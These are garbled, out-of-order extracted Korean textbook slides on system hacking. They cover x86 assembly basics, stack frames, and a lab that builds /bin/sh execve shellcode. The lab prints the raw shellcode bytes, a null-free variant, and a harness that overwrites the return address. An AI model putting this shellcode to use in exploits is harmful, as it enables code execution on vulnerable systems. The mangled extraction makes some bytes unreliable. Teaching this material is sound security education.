
명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 36: 80×86  시스템에 대한 이해

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

